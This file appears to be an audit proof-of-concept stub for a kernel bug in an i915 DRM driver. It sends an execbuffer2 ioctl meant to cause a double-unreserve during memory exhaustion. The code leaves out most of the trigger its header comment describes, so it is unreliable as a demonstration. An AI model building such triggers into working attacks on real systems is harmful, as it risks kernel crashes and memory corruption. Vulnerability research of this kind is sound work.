/*
 * DF-4007 ioctl PoC — DRM_IOCTL_I915_GEM_EXECBUFFER2 with 3 buffers where the
 * exec triggers i915_vma_move_to_active() for a vma that is already active
 * from a second context (last_active cache miss -> active_instance rbtree
 * kmalloc), under DRM-slab exhaustion so the kmalloc fails and eb_move_to_gpu
 * dies mid-loop -> eb_release_vmas double-unreserves the first entries.
 *
 * Needs a real Intel GPU (/dev/dri/renderD128). On the audit guest there is
 * no GPU: the program reports the missing device and exits 77 (per DF-3634
 * conventions); the behavioral proof is model_df4007.c.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdint.h>

#include <sys/ioccom.h>

/* uapi (sys/dev/drm/include/uapi/drm/i915_drm.h) — verbatim subset */
struct drm_i915_gem_exec_object2 {
    uint64_t offset;
    uint64_t flags;
    uint64_t handle;
    uint64_t reserved;
    int64_t  pad_to_size;
    uint64_t relocs_ptr;
    uint64_t relocation_count;
};
struct drm_i915_gem_execbuffer2 {
    uint64_t buffers_ptr;
    uint32_t buffer_count;
    uint32_t batch_start_offset;
    uint32_t batch_len;
    uint32_t DR1;
    uint32_t DR4;
    uint32_t num_cliprects;
    uint64_t cliprects_ptr;
    uint64_t flags;
    uint64_t rsvd1;
    uint64_t rsvd2;
};
#define DRM_COMMAND_BASE            0x40
#define DRM_I915_GEM_EXECBUFFER2    0x29
#define DRM_IOCTL_I915_GEM_EXECBUFFER2 \
    _IOW('d', DRM_COMMAND_BASE + DRM_I915_GEM_EXECBUFFER2, struct drm_i915_gem_execbuffer2)

int main(int argc, char **argv)
{
    const char *path = argc > 1 ? argv[1] : "/dev/dri/renderD128";
    int fd = open(path, O_RDWR);
    if (fd < 0) {
        printf("open(%s): %s — no DRM device on this guest (virtio GPU only)\n",
               path, strerror(errno));
        printf("DF-4007 runtime trigger requires an Intel i915 device; see model_df4007.c for the demonstrated control-flow proof.\n");
        return 77;
    }

    struct drm_i915_gem_exec_object2 objs[3];
    memset(objs, 0, sizeof objs);
    /* handles filled by a real run after GEM_CREATE; pattern only */
    objs[1].flags = (1u << 31) /* __EXEC_OBJECT_HAS_REF analog: cmdparser shadow */;
    struct drm_i915_gem_execbuffer2 eb;
    memset(&eb, 0, sizeof eb);
    eb.buffers_ptr = (uint64_t)(uintptr_t)objs;
    eb.buffer_count = 3;
    eb.batch_len = 8;

    int err = ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2, &eb);
    printf("execbuf2 -> %d (errno=%d)\n", err, errno);
    close(fd);
    return 0;
}
